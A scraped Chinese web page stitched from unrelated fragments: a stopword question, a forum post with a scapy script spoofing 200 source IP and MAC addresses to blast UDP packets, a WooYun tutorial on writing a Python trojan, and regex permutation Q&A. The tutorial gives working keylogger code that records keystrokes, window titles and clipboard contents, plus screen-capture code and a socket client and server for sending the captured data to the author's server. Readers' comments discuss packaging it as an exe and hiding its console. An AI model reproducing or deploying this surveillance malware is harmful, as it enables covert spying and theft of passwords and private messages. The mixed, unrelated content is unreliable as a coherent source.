python基础教程代码代码求教

大家正在求推荐
&·&·&·&·&·&·
第三方登录:求教大神关于python 停用词如何处理-中国学网-中国IT综合门户网站
> 信息中心 >
求教大神关于python 停用词如何处理
来源:互联网 发表时间: 8:44:06 责任编辑:李志喜字体:
为了帮助网友解决“求教大神关于python 停用词如何处理”相关的问题,中国学网通过互联网对“求教大神关于python 停用词如何处理”相关的解决方案进行了整理,用户详细问题包括:RT,我想知道:求教大神关于python 停用词如何处理,具体解决方案如下:解决方案1:求python完整代码,现在有一个stopword的txt,如何用python从分好词的txt文件中去掉停用词已经通过jieba完成了一个txt的分词了解决方案2:给两个示列文本一个是jieba分词好的txt示列,一个是stopword的txt
1个回答1个回答1个回答1个回答2个回答1个回答5个回答1个回答1个回答1个回答1个回答1个回答1个回答1个回答4个回答1个回答3个回答1个回答
相关文章:
最新添加资讯
24小时热门资讯
Copyright © 2004- All Rights Reserved. 中国学网 版权所有
京ICP备号-1 京公网安备02号水木-Python的自由天空-求教:怎么提高下面代码中socket的发包速率?现在大概只有2-3k
主题文章列表
下一页&共1页&
求教:怎么提高下面代码中socket的发包速率?现在大概只有2-3k
发信人:&poco&(poco),&信区:&Python
标&&题:&求教:怎么提高下面代码中socket的发包速率?现在大概只有2-3k&p
发信站:&水木社区&(Tue&Apr&15&10:50:09&2014),&转信
#!/usr/bin/python
import&socket
from&scapy.all&import&*
import&hack_arp
import&ip_account
import&random
import&copy
import&ssh_cmd
def&udp_send_rcv(local_mac,local_addr,local_port,gw_mac,remote_addr,remote_port,txt,verbose&=&False)&:
&&&&eth&=&Ether(dst=gw_mac,src=local_mac);
&&&&ip&=&IP(dst=remote_addr,src=local_addr);
&&&&udp&=&UDP(sport&=&local_port&,&dport&=&remote_port);
&&&&p&=&eth/ip/udp/txt&;
&&&&d&=&srp1(p,timeout=5);
&&&&if&verbose&==&True&:
&&&&&&&&d.show();
&&&&return&p,d&;
&&&&#sendp(p);
def&udp_send(sk,pkt):
&&&&#sk.sendto(str(pkt),(pkt['IP'].dst,pkt['UDP'].dport));
&&&&sk.send(str(pkt));
def&main_test(pkt_num=1000,verbose&=&False,fast_mode=True)&:
&&&&arp_group&=&{}&;
&&&&ip_header_map&=&{}&;
&&&&for&i&in&range(2,201)&:
&&&&&&&&gw_mac&=&hack_arp.get_gateway_hw(hack_arp.get_gateway_ip())&;
&&&&&&&&ip&=&"192.168.31."+str(i);
&&&&&&&&mac&=&"be:ef:e5:1e:89:"+hex(i)[2:];
&&&&&&&&eth&=&Ether(dst=gw_mac);
&&&&&&&&ip_header&=&IP(dst&=&"10.237.100.9",src&=&ip);
&&&&&&&&udp_header&=&UDP(sport&=&9000,&dport&=&9999);
&&&&&&&&ip_header_map[ip]&=&copy.deepcopy(eth/ip_header/udp_header)&;
&&&&score&=&{}&;
&&&&cmp_txt&=&'z'*1500&;
&&&&if&fast_mode&==&True&:
&&&&&&&&try:
&&&&&&&&&&&&#s&=&socket.socket(socket.PF_PACKET,&socket.SOCK_RAW)
&&&&&&&&&&&&s&=&socket.socket(socket.PF_PACKET,&socket.SOCK_RAW,&socket.htons(ETH_P_IP|ETH_P_ARP|ETH_P_ALL))
&&&&&&&&&&&&#s&=&socket.socket(socket.AF_INET,&socket.SOCK_RAW)
&&&&&&&&except&socket.error&,&msg:
&&&&&&&&&&&&print&'Socket&could&not&be&created.&Error&Code&:&'&+&str(msg[0])&+&'&Message&'&+&msg[1]
&&&&&&&&&&&&sys.exit()
&&&&&&&&#&tell&kernel&not&to&put&in&headers,&since&we&are&providing&it
&&&&&&&&#s.setsockopt(socket.IPPROTO_IP,&socket.IP_HDRINCL,&1)
&&&&&&&&#s.setsockopt(socket.IPPROTO_TCP,&socket.TCP_NODELAY,&1)
&&&&&&&&s.bind(("eth0",0));
&&&&&&&&s.setblocking(0);
&&&&&&&&for&i&in&range(pkt_num)&:
&&&&&&&&&&&&index&=&random.randint(2,200);
&&&&&&&&&&&&local_addr&=&"192.168.31."+str(index)&;
&&&&&&&&&&&&#txt&=&str(i)[0]&*&random.randint(10,1300);
&&&&&&&&&&&&txt&=&cmp_txt[0:100];
&&&&&&&&&&&&udp_send(s,ip_header_map[local_addr]/txt);
&&&&&&&&&&&&if&not&score.has_key(local_addr)&:
&&&&&&&&&&&&&&&&score[local_addr]&=&(0,0,0,0);
&&&&&&&&&&&&score[local_addr]&=&(score[local_addr][0]+len(txt)+28,score[local_addr][1]+1,score[local_addr][2]+len(txt)+28+7,score[local_addr][3]+1);
&&&&else&:
&&&&&&&&for&i&in&range(pkt_num)&:
&&&&&&&&&&&&index&=&random.randint(2,200);
&&&&&&&&&&&&local_addr&=&"192.168.31."+str(index)&;
&&&&&&&&&&&&local_port&=&9000&;
&&&&&&&&&&&&local_mac&=&"be:ef:e5:1e:89:"+hex(index)[2:]&;
&&&&&&&&&&&&gw_mac&=&"8C:BE:BE:10:05:88"&;
&&&&&&&&&&&&remote_addr&=&"10.237.100.9"&;
&&&&&&&&&&&&remote_port&=&9999&;
&&&&&&&&&&&&txt&=&cmp_txt[0:100];
&&&&&&&&&&&&p,d&=&udp_send_rcv(local_mac,local_addr,local_port,gw_mac,remote_addr,remote_port,str(index)+"&send&msg&"+txt,verbose=verbose);
&&&&&&&&&&&&if&not&score.has_key(local_addr)&:
&&&&&&&&&&&&&&&&score[local_addr]&=&(0,0,0,0);
&&&&&&&&&&&&&&&&print&score[local_addr]
&&&&&&&&&&&&if&verbose&==&True&:
&&&&&&&&&&&&&&&&p.show();
&&&&&&&&&&&&&&&&d.show();
&&&&&&&&&&&&#score[local_addr]&=&(score[local_addr][0]+1,score[local_addr][1]+len(p['Raw'].load)+28,score[local_addr][2]+1,score[local_addr][3]+d['IP'].len);
&&&&&&&&&&&&score[local_addr]&=&(score[local_addr][0]+len(p['Raw'].load)+28,score[local_addr][1]+1,score[local_addr][2]+d['IP'].len,score[local_addr][3]+1);
&&&&if&verbose&==&True&:
&&&&&&&&print&score&;
&&&&res&=&ip_account.ip_account();
&&&&if&verbose&==&True&:
&&&&&&&&print&res&;
&&&&if_fail&=&0&;
&&&&fail_msg&=&"";
&&&&for&src&in&score&:
&&&&&&&&if&not&res.has_key(src)&:
&&&&&&&&&&&&res[src]&=&(0,0,0,0);
&&&&&&&&if&score[src]&==&res[src]&:
&&&&&&&&&&&&print&src&+&":&matched."
&&&&&&&&else&:
&&&&&&&&&&&&if_fail&=&1&;
&&&&&&&&&&&&fail_msg&=&fail_msg&+&src&+&":&dismatched."+&str(score[src])+":"+&str(res[src])&+&";";
&&&&&&&&&&&&print&"error:"
&&&&&&&&&&&&print&src&+&":&dismatched."+&str(score[src])+":"+&str(res[src]);
&&&&&&&&&&&
&&&&if&if_fail&==&1&:
&&&&&&&&print&"failed."
&&&&return&if_fail,fail_msg
&&&&#tcp_link("192.168.31.171",8.31.98",9999);
if&__name__=="__main__":
&&&&cmd&=&""&;
&&&&#for&i&in&range(2,201)&:
&&&&#&&&&ip&=&"192.168.31."+str(i);
&&&&#&&&&#mac&=&"be:ef:e5:1e:89:"+hex(i)[2:];
&&&&#&&&&mac&=&"f8:b1:56:e3:12:60"&;
&&&&#&&&&cmd&=&"arp&-s&"&+&ip&+&"&"&+&mac&;
&&&&#&&&&ssh_cmd.ssh_cmd("192.168.31.1","xxxxxx",cmd);
&&&&fail_table&=&{}&;
&&&&for&i&in&range(1000)&:
&&&&&&&&if_fail,fail_msg&=&main_test(pkt_num&=&100000,verbose=True)
&&&&&&&&if&if_fail&==&1&:
&&&&&&&&&&&&fail_table[i]&=&fail_msg&;
&&&&&&&&print&fail_table&;
※&来源:·水木社区&http://www.newsmth.net·[FROM:&114.255.3.*]
下一页&共1页&Python编写简易木马程序 | WooYun知识库
Python编写简易木马程序
文章内容仅供学习研究、切勿用于非法用途!
这次我们使用Python编写一个具有键盘记录、截屏以及通信功能的简易木马。依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码,安装配置JEDI插件可以参照这里: http://drops.wooyun.org/tips/4413
首先准备好我们需要的依赖库,python hook和pythoncom。
下载安装python hook
下载安装pythoncom模块:
http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download
如果觉得麻烦,你可以直接使用集成了所有我们所需要的python库的商业版Activepython(我们可以用他的免费版):
/activepython
0x01 键盘记录器
说起Keylogger,大家的思维可能早已飞向带有wifi功能的mini小硬件去了。抛开高科技,我们暂且回归本质,探探简易键盘记录器的原理与实现。
Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。
代码部分:
# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# 获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow()
# 获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
# 将进程ID存入变量中
process_id = "%d" % pid.value
# 申请内存
executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
# 读取窗口标题
windows_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
# 关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
# 定义击键监听事件函数
def KeyStroke(event):
global current_window
# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.WindowName != current_window:
current_window = event.WindowName
# 函数调用
get_current_process()
# 检测击键是否常规按键(非组合键等)
if event.Ascii & 32 and event.Ascii &127:
print chr(event.Ascii),
# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE]-%s" % (pasted_value),
print "[%s]" % event.Key,
# 循环监听下一个击键事件
return True
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
【知识点】钩子(Hook):Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。
撸代码时一定要注意严格区分大小写。检查无误后启动keylogger:
然后可以尝试打开记事本写点东西,过程中可以看到我们的keylogger窗口正在对我们的输入实时记录:
切换窗口时会自动跟踪到新窗口(众:这点功能都没有还敢叫keylogger吗!),light教授趁机骚扰一下疯狗,可以看到我们的keylogger已经跟踪到QQ聊天窗口,并忠实的记录下我输入的一切。
0x02 看看你在干什么:编写一个screenshotter
截屏实现起来更简单,直接调用几个gui相关的api即可,我们直接看代码:
# -*- coding: utf-8 -*-
import win32gui
import win32ui
import win32con
import win32api
# 获取桌面
hdesktop = win32gui.GetDesktopWindow()
# 分辨率适应
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# 创建一个内存设备描述表
mem_dc = img_dc.CreateCompatibleDC()
# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# 截图至内存设备描述表
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
# 将截图保存到文件中
screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')
# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
看看效果如何:
0x03 综合运用:完成一个简易木马
无论是keylogger记录下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单server和client端来进行通信,传输记录下的内容到我们的服务器上。
编写一个简单的TCPclient
# -*- coding: utf-8 -*-
import socket
# 目标地址IP/URL及端口
target_host = "127.0.0.1"
target_port = 9999
# 创建一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# 连接主机
client.connect((target_host,target_port))
# 发送数据
client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
# 接收响应
response = client.recv(4096)
print response
编写一个简单的TCPserver
# -*- coding: utf-8 -*-
import socket
import threading
# 监听的IP及端口
bind_ip = "127.0.0.1"
bind_port = 9999
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print "[*] Listening on %s:%d" % (bind_ip,bind_port)
def handle_client(client_socket):
request = client_socket.recv(1024)
print "[*] Received:%s" % request
client_socket.send("ok!")
client_socket.close()
while True:
client,addr = server.accept()
print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])
client_handler = threading.Thread(target=handle_client,args=(client,))
client_handler.start()
开启服务端监听:
客户端执行:
服务端接收到客户端的请求并作出响应:
最后,你需要做的就是把上面三个模块结合起来,一个简易的具有键盘记录、屏幕截图并可以发送内容到我们服务端的木马就完成了。可以使用py2exe把脚本生成exe可执行文件。当然你还可以继续发挥,加上远程控制功能。Py2exe用法可以参考这里:
http://www.py2exe.org/index.cgi/Tutorial
Enjoy coding~
参考文档:
《Black Hat Python》
https://www.python.org/ http://www.py2exe.org/
书我基本也看了,你拿前几章做的那么个简单通讯来做第八章的这个也太糟蹋第七章的github指挥中心了吧,我正愁没人和我探讨一下这个书呢,qq,楼主有意向的话可以加我,本人也是新手
怎么不用github指挥中心呢
大牛还请教一下如果结合这三个模块?是用三个脚本做扩展还是代码都在一个脚本里?
大神,怎么把这三个模块结合起来,求指教
以下是py2exe的官网译本
http://blog.csdn.net/puma004/article/details/
@answer 打包exe
mark一下学习
好吧。。错了,以下才是错误。
Traceback (most recent call last):
File &H:/PycharmProjects/Script/Keylogger.py&, line 4, in &module&
import pyHook
File &F:\Python27\lib\site-packages\pyHook\__init__.py&, line 1, in &module&
from HookManager import *
File &F:\Python27\lib\site-packages\pyHook\HookManager.py&, line 1, in &module&
import cpyHook
File &F:\Python27\lib\site-packages\pyHook\cpyHook.py&, line 7, in &module&
import _cpyHook
ImportError: DLL load failed: %1 ??????Ч?? Win32 ??ó???
Process finished with exit code 1
我明明已经成功安装了所需库,包括pyhook
我试着学习分析你写的那个keylogger简易小木马,但是编译运行后报错。似乎是调用的问题,请问怎么解决(/ □ \)python入门者求教。。
Traceback (most recent call last):
File &H:/PycharmProjects/Script/example.py&, line 53, in &module&
opener = urllib2.build_opener(httpHandler, httpsHandler, cookie, urllib2.HTTPHandler)
File &F:\Python27\lib\urllib2.py&, line 490, in build_opener
opener.add_handler(h)
File &F:\Python27\lib\urllib2.py&, line 326, in add_handler
type(handler))
TypeError: expected BaseHandler instance, got &type 'instance'&
大牛莫谦虚,我就是不会c++才玩Python的。。
楼主是妹子。
对于我这种菜鸟,对于GRAY HAT PYTHON和BLACK HAT PYTHON里面强行python的代码,真的不知道作用在哪。。求大神啪啪打脸。不过思路还不错。。看GRAY HAT PYTHON 都是看思路用c++实现。。。
厉害,一定要去学习一个!
python 写这东西还是有点蛋疼,虽然可以打包 exe,但是有些机器上还是不好使。而且很难进行代码混淆。这些木马功能,晚上随便找个 c++的源码都能实现~
如果对方 没有python环境 怎么运行。。。。
the miusc-
首席音乐家
有道理,编译后的exe文件基本上无法达到木马或者远控的标准。有例子就拿sqlmap.exe版本就能看出
顶楼主,改天再写写摄像头拍照呗!
1. 需要编译
2. 编译完了会很大, 里面有相关库的DLL文件, 而且有一大堆东西虽然不知道都是些什么, 目测这样的木马用处不会很大(当然有大牛出来实力打脸我也办法)
当然除非别人很相信你, 然后点击你提供的exe, 当然这个exe假如你没有处理好的, 点开之后就是一个大黑框, 上面会有你的debug信息, 所以你还要把exe在代码里面fork为daemon进程
才知道你也玩Python
大黑阔你能干点有意义的事情么
python脚本写完就可以直接运行,不需要人工编译
对不起,我黑了你的电吉他,依班娜的。
1,需要编译么? 不编译的话肉鸡上未必有这模块,当然可以自动安装
2,编译的话 会不会很大
一个截图6M,确实要压缩才行。。。求高手
是为一个python win32编程的好例子~
挺好的,学习了
顶乌云音乐家
python真强大~
哇 我的偶像来了,快签名快签名
关键是图片传输压缩算法
乌云音乐家。前排广告出售!
感谢知乎授权页面模版关于求教高手用python写一个字符串的所有排列组合的搜索推荐 -其他开发语言-TryCatch
>> 相关推荐
关于的搜索推荐
比如说beatiful
要用正则表达式写一个包含所有组合的规则,怎么写?
就是类似bea空格空格tiful或者b空格eatiful也是可以在这个正则表达式范围里面的
求教怎么写?
你是指每一个位置或者为空格,或者是正确的字母?
In[93]:p="".join('[%s]'%cforcin'beautiful')
In[94]:p Out[94]:'[b][e][a][u][t][i][f][u][l]'
In[95]:pile(p)
In[97]:forsin['beatiful','butiful','eatifu','beatiful']: ...:ifpatt.match(s): ...:print'Match:',s ...:else: ...:print'Notmatch:',s ...: Match:beatiful Match:butiful Match:eatifu Notmatch:beatiful
理解错了,好像是这样:
In[98]:p='*'.join('beautiful')
In[99]:p Out[99]:'b*e*a*u*t*i*f*u*l'
In[100]:re.match(p,'beautiful') Out[100]:&_sre.SRE_Matchat0x1cd38b8&
In[101]:re.match(p,'beautiful') Out[101]:&_sre.SRE_Matchat0x1cd3648&
牛,给分了
任一数量的字符组合呢?任意数量字行的排列呢?
------------
我的想法是换算成二进制,就方便了,以ABC举例:A-&001;B-&010;C-&100;那么可能的组合其...
给定几个字母 排出所有的组合可能一个排列组合的问题 高手帮解答下 如:abc 组合可能是 a b c
一个目录下以及子目录下所有文件里,内容每一行如果是空格若干&&字符串开始"printf"&&其他字符,这一行删除.用python如何写目的就是删除项目代码...
有n个字母,如何列出其所有的排列?例如:两个a,d字母应该有以下5种情况:空;a;d;a,d;d,a。对于更多的字母怎么列出其所有的排列?三个字母有哪些排列,n个字...
应朋友要求,写一个关于足彩的小软件,当中遇到了一个问题:假设我就选9场比赛,现在需要一个函数,功能是把9场的比赛结果按排列组合的方式全都显示出来如我选了...
原始文本信息:Receive:..............无关信息....Receive:..............无关信息....Receive:..............无关信息....然后我的python脚本语言用msg.get("...
求教数学中排列组合的实现如对于某一组数{a1,a2,a3,a4}求组合C(4,3)为{a1,a2,a3 a1,a2,a4 a1,a3,a4 a2,a3,a4}对于一般情况则为,某一组数{a1,a2...ai}求C(i,j);...
有字符串书籍名称bookName1和bookName2,现要求计算出这两本书名的重复比例为多少,简单来说就是遍历每个字,然后按顺序比较,是否重复,重复则累计+1,最后累计...
RT:输入:1234得到结果:输入:2213得到结果:...
就是一个大的文件夹下,有n个加密压缩包,我用zipfile去解压,如何写python脚本能先解密文件,在解压文件。然后所有文件都被处理完,在线等答案!
------------...
排列组合!从m个数中选出所有组合如1.2.3.4.511.21.2.31.2.3.41.2.3.4.51.21.2.31.2.3.41.2.3.4.51.31.3.41.3.4.51.41.4.522.32.3.42.3.4.53.3.43.4.54.55
由数字0到5六个数字组成无重复数字的六位数,其中个位数字小于十位数字的排列有多少种
------------
0-5能够组成的有效的六位数是:6个数的全排列减掉0开头的其他...
我有一个300列,300行的表(行的值都不一样)然后这个表的列是可以进行C300 299的排列组合,在排列组合之后,每一行得到的值又会不同,求教有没有简单的方法能实...
如何求 一个集合的所有子集?(除空集以外)
------------
简单,使用递归,一个数只有要和不要两种情况,就可以了,一般的数据结构的树上都有
------------
...
从0~9的10个数字中取出所有的满足一定和值的4个数字,分可以重复和不可以重复两种情况。比如和值为1的,可重复的可以取000和1来自由排列组合成:,00...

我要回帖

更多关于 python代码示例 的文章

 

随机推荐